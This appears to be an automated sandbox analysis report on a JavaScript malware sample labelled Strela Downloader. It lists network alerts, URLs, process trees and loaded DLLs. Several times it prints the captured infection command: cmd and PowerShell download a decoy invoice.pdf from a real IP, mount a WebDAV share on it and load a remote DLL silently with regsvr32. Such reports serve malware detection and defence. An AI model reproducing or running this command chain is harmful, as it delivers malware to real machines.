Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2108470109.0000024B4DAFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2171655879.000001F3A3521000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000009.00000002.3413101328.000001A84E800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2170988308.000001A84E630000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5600, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2091470502273216855.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4400:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vwdmzez.oi2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2091470502273216855.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1576,i,15311919484714083302,4794122541947920074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13933462110964.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1576,i,15311919484714083302,4794122541947920074,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
